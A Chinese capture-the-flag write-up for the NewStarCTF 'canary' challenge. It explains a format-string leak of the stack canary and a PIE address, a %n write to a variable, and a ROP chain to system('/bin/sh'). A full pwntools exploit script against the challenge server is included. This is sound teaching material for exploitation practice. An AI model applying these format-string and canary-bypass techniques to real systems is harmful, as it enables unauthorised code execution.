[NewStarCTF 公开赛赛道]canary

[NewStarCTF 公开赛赛道]canary

我们可以先checksec一下:

1

可以看到,所有的东西都是开了的,非常的离谱,这道题给了源码,我们去看看源码:

2

上面的注释是我加的,题目本生是没有的,思路很明显的,我们先要泄露出canary的值,再找一条指令,泄露出这条指令的动态加载地址,因为题目是开启了PIE的,用动态加载的地址,减去偏移地址(IDA确定偏移地址),就能找到动态加载的基地址,然后就可以解决money变量的真实地址问题,就可以使用%n向money变量写入值,最后一个read函数就可以溢出到system函数了,我们也可以看到,”/bin/sh”在函数中定义了,在此之前,我们要确定输入的变量在栈上的位置:

3

可以确定,是第六个参数,我们去寻找一条指令,泄露出它的动态加载地址:4

我选择的指令是xor ebp,ebp,%9$p就可以泄露它的地址,因为它在canary值前面两个,11-2=9:

5

最后三位是不变的,可以确定是对的,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = 'debug'

#sh = process("./pwn")
sh = remote("node5.buuoj.cn",25350)

sh.recvuntil("Now answer me, will you v me 50")
payload = "%11$p-%9$p"
sh.sendline(payload)

sh.recvline()

canary = sh.recvuntil("-")[0:18]
xor_ebp_ebp_address = sh.recv(14)

canary = int(canary,16)
xor_ebp_ebp_address = int(xor_ebp_ebp_address,16)
libc_base = xor_ebp_ebp_address - 0x840
money_address = libc_base + 0x20206c

print("canary----->"+hex(canary))
print("xor_ebp_ebp_address------>"+hex(xor_ebp_ebp_address))
print("libc_base--------->"+ hex(libc_base))

sh.recvuntil('What do you want to say to the canary')
payload = "%999c%8$n" + "A"*(0x7) + p64(money_address)

sh.sendline(payload)

sh.recv()

system_address = libc_base + 0x9DC
bin_sh_address = libc_base + 0x202020
pop_rdi_ret_address = libc_base + 0xb33

payload = "A"*(0x30-0x8) + p64(canary) + "A"*(0x8) + p64(pop_rdi_ret_address) + p64(bin_sh_address) + p64(system_address)

sh.sendline(payload)

sh.interactive()

说一下,自己在写payload的时候踩得三个坑:

(1)xor_ebp_ebp_address = sh.recv(14)不要用xor_ebp_ebp_address = sh.recv()[0:14],这样会导致,sh.recvuntil(‘What do you want to say to the canary’)无法执行,因为sh.recv()会接收所有的值,这句话会被一并接收,导致程序无法执行

(2)payload = “%999c%8$n” + “A”*(0x7) + p64(money_address) 不能写成payload = p64(money_address) + “”%999c%6$n”,不知道是为啥,理论是可以正着写的,可是只要倒着写脚本才能打通

(3)最后发送的payload在返回前【”A”*(0x8) + p64(pop_rdi_ret_address)这两之间】不要加ret指令,当时想的是栈对齐,结果加上反而打不通,不太清楚,希望懂的师傅解答